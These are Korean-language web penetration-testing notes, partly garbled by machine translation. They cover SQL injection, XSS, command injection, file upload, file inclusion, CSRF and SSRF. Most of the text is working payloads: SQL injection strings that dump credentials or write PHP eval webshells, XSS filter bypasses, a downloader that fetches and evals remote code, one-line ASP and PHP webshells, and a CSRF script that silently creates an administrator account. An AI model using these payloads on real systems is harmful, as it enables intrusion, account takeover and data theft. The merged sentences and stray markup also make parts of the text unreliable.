침투 테스트 포인트

SQL 주입

이유: 프로그래머가 프로그램 및 데이터베이스와 상호 작용할 때 프로그래머는 문자열을 사용하여 SQL 문을 구성합니다.
사용자가 제어할 수 있는 매개 변수를 충분히 필터링하지 않고 매개 변수 내용이 변경됩니다. .SQL문으로 접합

주입 지점의 가능한 위치

사용자의 "제어 가능한 매개변수"에 SQL 구문을 삽입합니다. 즉, 웹 애플리케이션이 사용자 데이터를 얻는 곳에서 쿼리를 위해 데이터베이스로 가져오는 한 SQL 삽입 가능성이 있습니다. 일반적으로 다음이 포함됩니다: a> 쿠키 데이터 http 헤더 http 요청 메시지 기타 필드 데이터 게시
데이터 가져오기


취약점 위험

데이터베이스에 있는 콘텐츠를 드래그하거나, 데이터베이스 콘텐츠를 수정하거나, 데이터베이스에 콘텐츠를 삽입하기 위해 관리자의 백그라운드 비밀번호 등 데이터베이스 내의 다양한 정보를 얻을 수 있습니다.데이터베이스 권한 할당에 문제가 있는 경우 또는 데이터베이스 자체에 결함이 있는 경우, 공격자는 sql을 이용하여 취약점을 주입하여 웹쉘 또는 서버 시스템 권한 mof|udf를 직접 얻을 수 있습니다.

분류

데이터 유형별 분류: 숫자형, 문자형
숫자형 주입은 주입 시점의 데이터로, SQL 문에 스플라이싱하면 숫자로 나타나며, 즉, 데이터 양쪽에 작은따옴표가 없습니다. , 큰따옴표에는
문자 유형이 반대입니다 가 포함됩니다.

주입 방법에 따른 분류:

UNION 쿼리 SQL 주입 유니온 쿼리
오류 기반 SQL 주입 오류 주입
부울 기반 블라인드 SQL 주입 부울 주입
시간 기반 블라인드 SQL 주입 지연 주입
스택 쿼리 SQL 주입 스택 주입

주입점 판단 : 의심되는 주입점의 연결 또는 매개변수를 연결한 후 다음과 같은 자료를 제출해 보세요.

SQL 삽입
Yujian 스캔 웹사이트 백엔드
삽입 지점 판단
?id=35 +1/- 1
select * from tbName where id=$id
id 매개변수를 변경할 때 동일한 페이지에 다른 콘텐츠, 즉 데이터베이스의 콘텐츠 웹페이지에 반영됩니다. 처음에는 id 매개변수가 데이터베이스 쿼리로 가져오도록 결정됩니다. 데이터베이스는 다른 ID에 따라 쿼리되고 다른 콘텐츠가 얻어집니다. < a i=6> ?id=35' 문자 유형인지 데이터 유형인지 확인

목표: SQL 주입을 통해 백그라운드 관리자 계정과 비밀번호를 획득하고 시스템에 성공적으로 로그인합니다.

MySQL:

注释: # – // /!../
mysql yuan数据库information_schema
information_schema
테이블
table_name
table_schema

column_name
talbe_name
table_schema

공통 함수 및 매개변수:
=|>|>=|<=|<> 비교 연산자
및| 또는 논리 연산자
version() mysql 데이터베이스 버전
데이터베이스() 현재 데이터베이스 이름
user() 사용자 이름 a>
current_user() 현재 사용자 이름
system_user() 시스템 사용자 이름
@@datadir 데이터베이스 경로
@@version_compile_os 운영 체제 버전

length()는 문자열의 길이를 반환합니다.
substring()은 문자열을 가로챕니다.
substr()은 문자열을 가로챕니다.
mid()가 문자열을 가로챕니다

left() 왼쪽부터 지정된 문자 수만큼 문자열을 가져옵니다.
concat() 구분 기호 없이 문자열을 연결합니다.
concat_ws( ) 구분 기호를 포함하는 문자열
group_concat() 그룹의 문자열을 연결합니다

ord()는 ASCII 코드를 반환합니다.
ascii()는 ASCII 코드를 반환합니다.
hex()는 문자열을 16진수로 변환합니다. < a i=3> unhex() 역연산 md5()는 MD5 값을 반환합니다. Floor(x)는 x보다 크지 않은 가장 큰 정수를 반환합니다.< a i=6> round()는 매개변수 x에 가까운 정수를 반환합니다. rand()는 0-1 사이의 임의의 부동 소수점 숫자를 반환합니다.




load_file()은 파일을 읽고 파일 내용을 문자열로 반환합니다.
sleep()은 지정된 시간(초) 동안 절전 모드로 유지됩니다.
if( ture ,t,f) 판단할 경우
find_in_set()는 문자열 목록에서 문자열의 위치를 ​​반환합니다.
benchmark()는 명령문 실행 횟수를 지정합니다.
name_const()는 테이블을 결과로 반환합니다.

SQL에서는 논리 연산보다 우선순위가 높거나
SQL 문 구문 분석 순서를 그룹별로 선택하여 그룹화합니다.

인젝션 과정: 데이터베이스 이름, 테이블 이름, 컬럼 이름, 데이터 가져오기

유니온 쿼리

데이터베이스의 내용이 페이지에 반영되므로 Union Select를 사용할 수 있습니다.
이 문은 두 개의 Select 문을 동시에 실행하여 두 개의 가상 테이블을 생성합니다. 그런 다음 쿼리 결과가 접합됩니다.
접합 조건: 두 가상 테이블의 열 수가 동일합니다(이 테이블에 포함된 데이터 열 수)(필드 수라고도 함) order by 1 ---+ 필드 내용: cms_users의 hex(concat(username)) --+ 계정 비밀번호 얻기< /span> 가져오기: 사용자 이름 테이블에서 필드(열이라고도 함)를 가져오는 것이 좋습니다. cms_users의 hex(group_concat(column_name)) --+ 우회하고 cms_users 오류가 보고되면 hex(group_concat(table_name))을 사용하여 데이터베이스의 테이블: information_schema.tables의 group_concat(table_name) 여기서 table_schema=database() --+ 표시 위치 결정: mysql 데이터베이스 특성에 따라 문 선택 실행 과정에서 테이블 이름을 지정할 필요가 없습니다.< /span> 데이터베이스 버전: 데이터베이스 버전을 가져오려면 version()을 사용하여 숫자 3을 바꾸세요. 3이 페이지에 표시되는 것으로 확인되었습니다. ?id=-33 Union Select 1,2, 3 -- + 표시할 데이터 열을 결정합니다 페이지에는 첫 번째 가상 테이블의 내용이 표시되고, 첫 번째 가상 테이블의 쿼리 결과를 false로 만든 다음 두 번째 레코드를 표시하는 것을 고려할 수 있습니다. 두 번째 레코드에 표시된 내용을 기반으로 order by 2 ---+ order by 원래 의도는 하나의 열을 기준으로 정렬하는 것입니다. 특정 열 이름 대신 숫자를 사용할 수 있습니다. 예를 들어 order by 1은 첫 번째 열을 기준으로 정렬하는 것입니다. mysql이 해당 컬럼을 찾지 못하면 오류가 보고됩니다. 데이터베이스가 오류를 보고할 때까지 한 번에 개수를 늘릴 수 있습니다. 열 수 결정: order by 문을 사용하여 가상 테이블의 열 수를 결정합니다. 현재 select 문으로 쿼리된 테이블
가상 테이블의 해당 열의 데이터 유형이 동일합니다.
















오류 주입

인젝션 지점을 판단하는 과정에서 데이터베이스에 있는 SQL문의 오류 메시지가 페이지에 표시되어 오류 주입을 할 수 있는 것으로 확인되었습니다.
오류 주입의 원리는 오류 메시지에 있습니다. SQL 문을 실행할 때 오류를 발생시키는 방법은 여러 가지가 있습니다

중복 키 충돌에 따른 그룹
은 Floor(rand()*2)로 인해 가상 테이블이 무작위로 생성되어 count(*)와 Group by 사이에 중복 키가 발생하기 때문입니다. 충돌 오류
count(*)는 열의 동일한 요소 수를 계산하는 것입니다.
a는 별칭을 나타내고, x는 빨간색 필드를 나타내는 별칭입니다. concat(( information_schema.tables에서 버전 () 선택 제한 0,1), Floor(rand()*2)) x
제한 0,1은 처음 0부터 시작하여 1개의 데이터를 가져오는 것을 의미합니다< a i=5> [?id=33 및 ((select count(*),concat((information_schema.tables 제한 0,1에서 버전() 선택), Floor(rand()*2))에서 1개 선택) x information_schema .tables 그룹에서 x) a) --+] 오류 설명: 키 테이블 비활성화 우회: select concat('^',version() , '^',floor(rand()*2))x, count(*) from (1개 공용체 선택 null 공용체 선택 !1)x로 그룹화; rand()| count ()바이패스 비활성화: concat('^',@@version,'^',@a:=(@a+1)%2)로 information_schema.tables 그룹에서 min(@a:=1)을 선택합니다.< /span>는 추가 기능과 특정 테이블에 의존하지 않습니다. concat('^',@@으로 그룹에서 min(@a:=1)을 선택합니다(1개 유니온 선택 null 유니온 선택 !1). 버전,'^',@a:=(@a+1)%2);




extractalue()
[?id=33 및 extractvalue(1,concat('^',(select version()),'^')) ---+]< /span>

updatexml()
[?id=33 and updatexml(1,concat('^', (select Database()),'^'),1) ---+ ]

불리언 블라인드

원칙: 페이지에서 반환한 부울 유형 상태(정상 또는 비정상)를 사용하거나 반환된 패킷의 바이트 길이를 기반으로 데이터베이스 이름을 얻습니다. 데이터베이스 길이: ?id=33 및 length(database())=1 --+ 데이터베이스 이름: ?id=33 및 ascii(substr(database(),1,1 ))= 99 ---+


지연 주입

원리: sleep() 문의 지연을 사용하고 타임라인을 판단 조건으로 사용
데이터베이스 이름의 길이를 가져옵니다:?id=33 및 if((length (데이터베이스()) )=3), 수면(5),1) --+

sqlmap 사용

sqlmap -u “url”은 주입 지점을 감지합니다.
sqlmap -u “url” --dbs는 모든 데이터베이스의 이름을 나열합니다.
sqlmap -u "url" --current-db 현재 데이터베이스의 이름 나열
sqlmap -u "url" -D "database" --tables 지정된 데이터베이스의 모든 테이블 이름 나열 < a i=4> sqlmap -u “url” -T “tables” --columns 지정된 테이블 이름의 모든 열 이름 나열 sqlmap -u “url” -C “cloums” -- dump 지정된 컬럼의 모든 내용을 나열합니다. sqlmap은 post-type 주입용입니다. 데이터 패킷을 가져오려면 -r을 사용하여 예를 들어 http 데이터 패킷이 post에 배치되도록 지정합니다. txt sqlmap -r post.txt sql 주입 취약점을 사용하여 파일을 읽고 쓸 수 있습니다. 그러면 웹셸에 직접 쓸 수 있습니다 1. 구성 파일에서 my.ini 보안 -file-priv를 켜야 합니다. 2. 현재 사용자에게 파일 권한이 있습니다. user="root"인 mysql.user에서 File_priv를 선택합니다. 그리고 host="localhost"는 권한을 나타내는 Y를 표시합니다. 3. 기록할 대상 파일의 절대 경로를 알아냅니다. 4. 파일 읽기 작업 ?id=-1 ' Union select 1,'<?php @eval($_REQUEST[777]);?>' ,3 outfile 'c:\phpstudy\www로 \2.php' ---+ 페이지에 오류가 보고되지 않으면 쓰기가 성공한 것입니다. 5. 쓰기 file ?id=-1' Union select 1, load_file('C:\Windows\System32\drivers\etc\hosts'), 3 --+











넓은 바이트 주입

기능: 전송 문자 우회
전송 문자\인코딩은 5c, submit?id=3%df' Union select 1,2,3 ---+; < a i=2>는 ?id=3%df\'가 됩니다. 즉, ?id=3%df5c' 0xdf5c는 한자로 구문 분석되고 나머지 '는 충분합니다.

쿠키 주입

bp에서 쿠키를 캡처하려면 먼저 로그인해야 합니다.
document.cookie="uname=Dumb' 및 extractvalue(1,concat(0x7e,database(),0x7e) ))#”

base64 주입

실제로는 Base64 우회
document.cookie=”uname=RHVtYundefinedkgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==”

HTTP 헤더 삽입

사용자 에이전트 참조자字段 需要使用bp抓包
사용자 에이전트:hacker' 및 updatexml(1,concat(0x7e,database(),0x7e),1) 및 ' 1'='1
Referer:hacker' 및 updatexml(1,concat(0x7e,database(),0x7e),1) 및 '1'='1

XSS

위험:
사용자 계정 도용
사용자 쿠키 도용, 사용자 신원을 가장하여 웹사이트에 진입
사용자 도용 세션, 모든 작업 수행
트래픽 브러시, 팝업 광고 실행
웜 확산

xss 취약점 확인

<script>alert(/xss/)</script>
<script>confirm(‘xss’)</script>
<script>prompt(‘xss’)</script>

xss 분류
반사 유형: 비영구적 매개변수 기반 크로스 사이트 스크립팅입니다.
저장 유형: 코드는 데이터베이스에 저장되거나 데이터를 저장할 수 있는 파일 및 기타 미디어는 일반적으로 게시판과 같은 장소에 저장됩니다.
DOM 유형: 페이로드는 브라우저에서 로컬로 DOM 트리를 수정한 후 실행되며 서버로 전송되지 않습니다 a>

Xss의 구조
html/js 구성에 사용

<h1 style=’color:red’>   <script>

의사 프로토콜
javascript 의사 프로토콜

<a href=”javascript:alert(/xss/)>touch me!</a>
<img src=”javascript:alert(‘xss’)>

이벤트

<img src=”./smile.jpg’ onmouseover=’alert(/xss/)>  鼠标悬停在图片上触发
<input type=”text” onkeydown=”alert(/xss/)>  当点击键盘任意一个按键式触发
<input type=”button” onclick=”alert(/xss/)>
<img src=’#’ onerror=’alert(/xss/)>

CSS를 사용하여 사이트 간(이전)

行内样式<div style=”background-image:url(javascript:alert(/xss/))>
页内样式<style>Body{
      
      background-image:url(javascript:alert(/xss/))}</style>
外部样式<link rel=”stylesheet” type=”text/css” href=”./xss.css”><div>hello<div>

기타 태그

<svg onload=”alert(/xss/)>
<input onfocus=alert(/xss/) autofocus>

XSS 변형
목적 우회 감지, waf 우회
케이스 우회

<Img sRc=’#’ Onerror=”allert(/xss/) />
<a hREf=”javaScript:alert(/xss/)”>click me</a>

따옴표 사용

<img src=”#” onerror=”alert(/xss/)/>
<img src=’#’ onerror=’alert(/xss/) />
<img src=# onerror=alert(/xss/) />

/공백 바꾸기

<Img/src=’#’/Onerror=’alert(/xss/)’>

Enter: 키워드 감지를 우회하기 위해 일부 위치에 Tab 및 Enter 문자를 추가합니다.

<Img/sRc=’#’/Onerror = ’alert(/xss/)’	/>
<A hREf=”javasctipt:alert(/xss/)”>click me!</a>

태그 속성 값 트랜스코딩
문자 ASCII 코드 10진수 인코딩 16진수 인코딩
a 97 a a

여러 사이트로 분할

<script>z=’alert’</script>
<script>z=z+(/xss/)</script>
<script>eval(z)</script>

이중 쓰기 바이패스

<scr<script>ipt>

CSS 변환
전각 문자 widh:e x p r e s s i o n 사용(alert(/xss/))
브라우저에서 주석이 무시됩니다. width:expr /!/ession(alert(/xss /))
스타일 시트의 \ 및 \0

xss 활용:
xss를 사용하여 웹셸을 원격으로 로드

<script src=”http://172.16.132.138/XSS-TEST/normal/xss.js”></script>

Alert('xss.js')는 xss.js로 작성할 수 있습니다.

windows.locaton.hash는 브라우저 URL에서 # 다음에 오는 콘텐츠를 가져옵니다. 현재는 그 용도가 무엇인지 모르겠습니다.

XSS 다운로더
나만의 악성 웹페이지를 구축하고 사용자가 내 악성 웹페이지로 이동하여 악성 코드를 다운로드할 수 있도록 해야 합니다.

<script>
function XSS(){
    
    
if(window.XMLHttpRequest){
    
    
a = new XMLHttpRequest();
} else if(window.ActiveXObject){
    
    
a = new ActiveXObject(“Microsoft.XMLHTTP);
} else {
    
    return;}
a.open(get,’http://172.16.132.161/xss_downloader.php’, false);
b=a.responseText;
eval(unescape(b.substring(b.indexOf(BOF|)+4,b.indexOf(|EOF))));}
XSS();
</script>

악성 웹페이지를 추가해야 합니다

<?php
header(‘Access-Control-Allow-Origin:*);
header(‘Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept’);
?>

xss 방어
필터링: 불법 문자 포함 여부, 최대 길이 제한 초과 여부, 형식 요구 사항 충족 여부, 출력 인코딩, 흑백 목록, 쿠키 설정 httponly 옵션

xss는 브라우저 취약점 getshell을 악용합니다.

PHP 명령 주입

eval()函数   eval(?code=phpinfo(); )  eval(?code=1;phpinfo(); )  
assert()函数  
preg_replace()函数  
call_user_func()  call_usr_func($fun,$para)  
?fun=assert&para=phpinfo()=>assert(phpinfo())
$a($b)函数  ?a=assert; b=phpinfo()

명령 실행 getshell

?code=@eval($_POST[1]);
현재 파일의 절대 경로를 가져오나요?code=print(_ FILE_< /span>
파일 읽기 file_get_contents() function?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts')) ;< /span>);

파일을 쓰려면 쓰기 가능한 디렉터리 file_put_contents() 함수를 알아야 합니다.
?code=var_dump(file_put_contents($_ POST[1],$_POST[2])) ;
1=shell.php&2=<?php phpinfo()?>

방어 방법
eval 등의 기능을 사용하지 마세요
필터링
preg_replace는 /e 수정자를 포기합니다

OS 명령 주입 위험
시스템 명령 실행을 위한 웹 서버 프로그램 권한 상속
파일 읽기 및 쓰기를 위한 웹 서버 권한 상속< a i=3> 리바운드 셸 제어 웹사이트 제어 서버


관련 함수
system() 함수 exec() 함수 shell_exec() 함수 passthru() 함수 popen() 함수
백틱 내부 `` The 문자열은 os 명령으로도 구문 분석됩니다.

악용
시스템 파일 보기?cmd=type c:\windows\system32\drivers\etc\hosts
현재 경로 표시?cmd= cd
파일 쓰기?cmd=eche “<?php phpinfo();?> > D:\xampp\htdocs\Commandi\shell.php

방어 방법
명령 실행 기능 사용을 최소화하고 비활성화_함수에서 비활성화
명령 실행 기능이나 방법에 들어가기 전에 매개변수 수정을 수행합니다. 필터
매개변수 값을 따옴표로 묶어서 연결하기 전에 추가 래시를 호출하여 이스케이프하세요.

파일 업로드

조건:
업로드 기능을 활성화하고 업로드 API가 있어야 합니다.
웹 사용자는 대상 디렉터리에 대한 쓰기 및 실행 권한을 가지고 있습니다. 일반적으로 웹은 디렉토리 모두 실행 권한이 있습니다.
웹 컨테이너는 업로드된 단계를 구문 분석할 수 있습니다.
극단적인 경우 서버는 PUT 메소드를 활성화했습니다.

ASP木马:<%eval request(“cmd”)%>
ASP.NET: <%@ Page Language=”Jscript”%> <%eval(Request.Item[“cmd”], “안전하지 않음”); %>
PHP: <?php @eval($_REQUEST['cmd']); ?>

파일 업로드 방어
블랙리스트 및 화이트리스트 정책 URLBlacklist URLWhitelist
이미지 튜너에서 악성 코드를 필터링하기 위해 2차 렌더링 수행
업로드된 파일의 이름을 바꾸고 클라이언트로부터 가능한 한 적은 정보를 얻습니다.
파일 포함 취약점 방지
파일 경로 처리 방지, 00 잘림 취약점 방어, 공백, 점, ::$DATA는 피하세요.

PUT 메소드 파일 업로드
Apache가 PUT 메소드를 활성화했는지 테스트

telnet 172.16.132.165 80
----
OPTION / HTTP/1.1
HOST:172.16.132.165
---

아파치는 PUT 메소드 httpd.conf 파일을 엽니다.

프런트엔드 검증 우회
js 스크립트의 실행 환경은 브라우저이므로 js 코드를 수정하여 우회할 수 있습니다.
사용 bp를 사용하여 패킷을 캡처하고 파일 접미사 우회를 변경합니다.

서버측 우회
서버가 MIME 유형을 감지합니다.
파일 확장자 Mime-Type은 파일의 HTTP 프로토콜 MIME 유형
.js application/x-javascript
.html text/html
.jpg image/ jpeg 우회: bp 패킷 캡처, 콘텐츠 유형 변경 .pdf application/pdf
.png image/png

서버측 탐지 파일 내용: getimagesize() 함수
우회: 업로드할 사진 트로이목마 만들기
1. 가장 간단한 사진 트로이목마, 그냥 gif 이미지를 생성하려면 파일 헤더에 Gif89a를 추가해야 합니다.
2. 파일 헤더에 이미지 매직 넘버를 추가하여 이미지 Trojan png를 생성합니다: 89 50 4E 47 0D 0A 00 00 00 0D 49 48 44 52 ASCII로 변환
3.copy는 이미지를 스크립트와 결합하여 이미지를 생성합니다. 말 복사 smile.jpg/b + info.php/a sime_info.jpg
4. 이미지 속성의 일부 필드를 사용해 보세요. Trojan이라는 문장을 삽입하세요

서버 측 감지 접미사 이름
우회: .php .php2 .php3 .php5 .phtml .asp .aspx .ascx .ashx .ass .cer .jsp .jspx

이 단계에 도달하기 위한 전제 조건은 성공적으로 업로드했지만 실행할 수 없다는 것입니다.

00 잘림: move_uploaded_file() 함수
00은 Null(빈) 문자이며 URL에서 %00으로 표시됩니다. 00 잘림으로 인해 파일 업로드 경로가 잘립니다.
업로드된 파일에 대한 이름이 변경된 것, 즉 파일이 저장되는 것입니다.
파일 업로드 경로를 수정/파일 upload/test.php로 업로드합니다. %00
이런 식으로 업로드하는 파일은 직접 업로드한 웹쉘인 test.php입니다.

.htaccess 공격의 전제조건은 이 .htaccess를 업로드하거나 이전 것을 덮어쓸 수 있다는 것입니다.
.htaccess는 Apache 서버의 분산 구성 파일입니다. 이 구성 파일은 덮어쓰게 됩니다. Apache 서버의 전역 구성
웹 응용 프로그램이 .htaccess 파일 업로드를 허용하는 경우 공격자가 덮어쓰기를 통해 Apache 구성을 변경할 수 있음을 의미합니다.

.png 파일을 PHP 파일로 실행
AddType application/x-httpd-php .png
이 구성을 변경하면 얻을 수 있는 이점 : .png 파일을 PHP 파일로 구문 분석

파일 이름에 php 키워드가 포함되어 있습니다.
AddHandler php5-script php
파일 이름 info.php.png에 .php 키워드가 포함되어 있는 경우 info.php.png는 PHP 스크립트로 실행됩니다

파일 이름 일치
다음 구성은 파일 이름 ajest와 일치하고, 파일을 찾고, 그 안에 있는 PHP 코드를 실행합니다.
<FilesMatch “ ajest”> ;
SetHandler 애플리케이션/x-httpd-php

웹 컨테이너 구문 분석 취약점
Apache info.php.xxx.xx.x가 info.php로 구문 분석됩니다
IIS6.0 asp;. jpg time.asp;1.jpg 1.asp/time.jpg 먼저 폴더 1.asp를 만들어야 합니다.
PHP CGI 구문 분석 취약점 IIS7.0/7.5 또는 IIS7.0/7.5 +The PHP 환경에 업로드된 info.png 파일은 실행이 되지 않습니다.info.png/.php를 추가하면 파싱 및 실행이 가능합니다.
nginx 파싱 취약점 cgi.fix_pathinfo 옵션에도 이 문제가 있습니다 info.png /.php 실행 구현
Nginx null byte info.html%00.php 그러면 업로드한 info.html이 실행될 수 있습니다
Nginx 파일명 로직 취약점 info. png+ 공간 업로드 성공 후 패키지를 직접 보내 info.png...php를 수정한 후 중간에 있는 공간 2e를 16진수 형태로 00으로 변경하여 실행

공통 편집기 업로드, 편집기는 웹사이트 백그라운드에서 웹페이지를 편집하는 온라인 편집기를 말하며 파일 업로드 기능을 자동으로 상속합니다.
ewebeditor는 웹사이트 배경을 가져와야 합니다. 그런 다음 일부 구성 흑백 목록을 수정하고 일부 쓰기 위치는 웹셸
fckeditor 1.asp/time.jpg에 기록됩니다. 먼저 1.asp 폴더를 만든 다음 이 이미지를 업로드해야 합니다. 웹셸로

Southern 데이터 관리 시스템
삽입 지점 백그라운드 페이지 검색
asp|access|.mdb|다운로드 데이터베이스 백업 getshell 사용

파일에 다음이 포함됨

파일 포함은 실제로 C 언어의 #include와 유사합니다. 실행을 위해 현재 코드에 다른 코드를 포함합니다.
반복되는 코드의 참조를 줄입니다.
PHP에서는 일반적으로 포함된 파일을 동적 호출을 위한 변수로 설정하고 해당 변수를 덮어쓸 수 있습니다.
$path = “./info.php”; 따라서 클라이언트가 호출할 수 있습니다. 파일 포함 취약점을 일으키는 모든 파일
PHP의 4개 파일 포함 함수
include() 파일 포함이 실패하면 경고가 생성되고 스크립트가 계속됩니다. Run
include_once()에는 include()와 동일한 기능이 있습니다. 파일은 한 번만 포함됩니다.
require() 파일 포함에 실패하면 오류가 발생합니다. 생성되고 스크립트가 직접 종료됩니다. 실행
require()_once()는 require()와 동일한 기능을 가지며 파일은 한 번만 포함됩니다

포함된 파일이 직접 실행됩니다.

취약점의 원인
웹 애플리케이션이 동적 포함을 구현합니다.
동적 포함의 파일 경로 매개변수는 클라이언트에서 제어할 수 있습니다.

관련 구성 php.ini
allowed_url_fopen=On/Off 로컬 파일 포함
전제는 파일 경로를 알고 나면 파일이 상대 경로를 통해 찾은 다음
?path=info.php
?path=…/xss-test/smile.jpgallow_url_include= 켜기/끄기. 원격 파일에는 HTTP FTP PHP 의사 프로토콜 php: ?path=http://172.16.132.138/include/info.php가 포함되어 있습니다. 이는 http 프로토콜을 통해 이루어집니다. 일반적으로 사용되는 php: pseudo- 프로토콜이 언급되지 않았습니다 ?path=ftp://user:[email protected] .105.223/info.php 이는 ftp 프로토콜을 통해 이루어지지만




파일 포함 특성
파일 확장자에 관계없이 파일을 읽고 이미지 트로이 목마를 실행하는 이미지 트로이 목마를 포함할 수 있음
PHP 코드를 무조건 구문 분석 아>

널 문자 보안 우회는 실제로 00 잘림과 동일한 효과를 갖습니다. 5.3.4보다 작은 PHP 버전에서는 PHP 매직 따옴표를 꺼야 합니다.
예: include $_GET['path' ].".html ';
제출: ?info.php%00 이 방법으로 다음 .html을 제거할 수 있습니다

파일에 취약점 악용이 포함되어 있음
민감한 파일 읽기
대상 호스트 파일이 존재합니다(대상 파일 경로, 절대 경로, 상대 경로) 직접 작성하려면 파일 생성 기능을 사용하십시오. 웹셸로< /span> 이미지 Trojan이 직접 포함되어 있습니다. 먼저 이미지 Trojan을 업로드해야 합니다. 이는 지속적으로 이전 페이지 수준으로 돌아가는 것을 의미합니다. 디렉토리, 루트 디렉토리에 도달하면 중지됩니다. ?path=…\windows\System32\drivers\etc\hosts
읽기 가능한 권한이 있음



<?php fputs(fopen(‘shell.php’, ‘w’),<?php @eval(\$_REQUEST[‘cmd’])?>);?>
PHP  file封装协议--访问本地文件
?path=file://c:\windows\System32\drivers\etc\hosts
PHP  php封装协议传输PHP文件
?path=php://filter/read=convert.base64-encode/resource=inc.php
然后把得到的字符串base64解码   用来读取文件
PHP 执行php命令
?path=php://input
然后通过POST请求写入数据,直接post的数据就是要执行的命令

로컬 파일에만 취약점이 있으며, 파일 업로드 API가 없습니다. getshell 수행 방법
GET 요청을 사용하여 요청한 콘텐츠를 webshell에 작성한 후 로그에 저장합니다. 오류로 인해 파일 포함을 사용하여 로그를 포함하면 성공적으로 getshell을 사용할 수 있습니다.
1. 로컬 로그 파일 getshell을 포함합니다
로그 파일 상식이나 폭파로 얻을 수 있는 경로
2 .세션 파일을 래핑하여 sessionId가 유출됨

코드 감사

getshell은 webshell을 작성하는 방법을 의미합니다.

CSRF 크로스 사이트 요청 위조 공격

최종 사용자가 현재 인증된 웹 애플리케이션에서 의도하지 않은 작업을 수행하도록 강제
공격자가 상태를 볼 수 없기 때문에 상태 변경 요청을 위조하는 데 공격이 중점을 둡니다. 위조된 요청에 대한 응답
피해자를 속여 악의적인 요청을 제출하게 하고, 피해자의 신원과 권한을 승계하여 피해자를 대신하여 의도하지 않은 악의적인 행위를 수행하는 공격

브라우저 요청은 사이트와 관련된 모든 자격 증명, 세션 쿠키, IP 주소, Windows 도메인 자격 증명 등을 자동으로 보냅니다. 따라서
현재 사용자가 사이트에 인증된 경우 사이트에서는 피해자가 보낸 가짜 요청과 피해자가 보낸 합법적인 요청을 구분할 수 없습니다.

CSRF 공격은 피해자의 이메일 주소, 비밀번호 변경, 상품 구매 등 서버 상태나 데이터를 변경하는 기업이나 기능을 대상으로 합니다. 피해자에게 데이터를 쿼리하도록 강요합니다. 그러나 공격자는 서버 응답을 얻을 수 없습니다. 이 취약점은 저장된 XSS와 결합될 때 더욱 효과적일 수 있습니다.

서버 데이터를 변경하기 위해 웹 사이트에 악의적인 요청을 타겟으로 구성한 후 피해자의 클릭을 유도합니다.

실제 전투: XSS와 결합하여 백엔드 계정 추가
공격자는 XSS를 통해 CSRF 공격을 촉발하고 JS를 사용하여 요청을 보낼 수 있습니다.
연구 필요 피해사전 홈페이지 업무처리

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open(\’post\’,\’http://172.16.132.138/cms/admin/user.action.php\’,false);
xmlhttp.setRequestHeader(“Content-type”,”appliaction/x-www-form-urlencoded”);
xmlhttp.send(\’act=add&username=ajext&password=123456&password2=123456&button=%E6%B7&userid=0\’);
</script>

위의 코드를 웹사이트 게시판에 삽입한 후 웹사이트 관리자를 시뮬레이션하고 백엔드에 로그인하여 메시지를 관리합니다. 관리자가 페이지를 새로 고치기만 하면 XSS가 실행되어 관리자 권한으로 요청을 보내고 메시지를 생성합니다. 백엔드 계정 ajest/123456. 동시에 웹사이트 백엔드 관리자는 전혀 "감정"이 없습니다.

비효율적인 CSRF 방어 검은 모자로서 모든 방어에는 결함이 있습니다
비밀 쿠키 사용
POST 요청만 수락 2단계 인증: 키 작업을 수행하기 전에 현재 사용자의 비밀번호 또는 인증을 제공합니다. 예를 들어 전송 코드 토큰 확인 추가: 공격자는 확인 정보를 알지 못한 채 사용자 자신의 Cookie를 직접 이용하여 보안 확인을 통과할 수 있습니다. 방어의 핵심은 다음과 같습니다. 공격자는 요청을 위조할 수 없습니다. 이 정보는 쿠키에 존재하지 않습니다. 개발자는 무작위로 생성된 토큰(임의의 문자열)을 HTTP 요청의 매개변수로 추가하고 서버 측에서 차단을 설정할 수 있습니다. 서버는 토큰을 확인하는 데 사용됩니다. .요청에 포함된 토큰의 내용이 올바르지 않은 경우 공격을 받고 있는 것으로 간주하여 요청을 거부합니다. 추천자 필드 확인 리퍼러는 요청의 소스 웹사이트를 지정 효과적인 방어 HTTPS URL 재작성
다단계 트랜잭션





SSRF

웹 애플리케이션은 다른 서버 또는 로컬에서 데이터를 가져오는 기능을 제공하며, 사용자가 지정한 URL을 사용하여 웹 애플리케이션은 이미지 및 파일 리소스를 얻을 수 있습니다. 예를 들어 Baidu Map API를 제공하기 위해 웹 사이트를 도입하고 Baidu는 이미지 인식 기능을 제공합니다.
사용자가 제출한 URL과 원격 서버에서 반환된 정보가 제대로 확인되거나 필터링되지 않은 경우 , '요청위조' 결함이 있을 수 있습니다. .
SSRF는 단순히 공격자가 특정 서비스에 대한 요청을 시작하기 위해 서버의 ID를 위조한다는 의미입니다.

SSRF 위험
포트 검사
인트라넷 웹 애플리케이션 지문
인트라넷 웹 애플리케이션 공격
로컬 파일 읽기

SSRF 활용
일반 파일 접근
포트 검사(인트라넷 머신의 포트 검사)
접근 시 포트를 열면 스크립트가 공백으로 표시되거나 오류를 보고합니다.
?url=dict://127.0.0.1:1234
열린 포트에 액세스할 때 스크립트는 배너 정보가 표시됩니다.
?url=dict://172.16.132.169:22
?url=dict://127.0.0.1:3306
?url=dict://127.0.0.1:21
시스템 로컬 파일 읽기(이는 파일 포함과 다소 유사)
다음을 수행할 수 있습니다. 파일 프로토콜을 사용하여 시스템 로컬 파일 읽기
?url=file://c:\windows\system32\dirvers\etc\hosts
인트라넷 웹 애플리케이션 지문 채취 a>
대부분의 웹 애플리케이션 프레임워크에는 고유한 파일과 디렉토리가 있으며 이를 통해 애플리케이션 유형과 세부 버전을 식별합니다.
?url=http:// loaclhost/phpmyadmin /README
인트라넷 애플리케이션 공격
이를 위해서는 인트라넷에 매우 약점이 있어야 합니다.
예를 들어, 공격 get 메소드, struts2 명령 실행 등을 통해
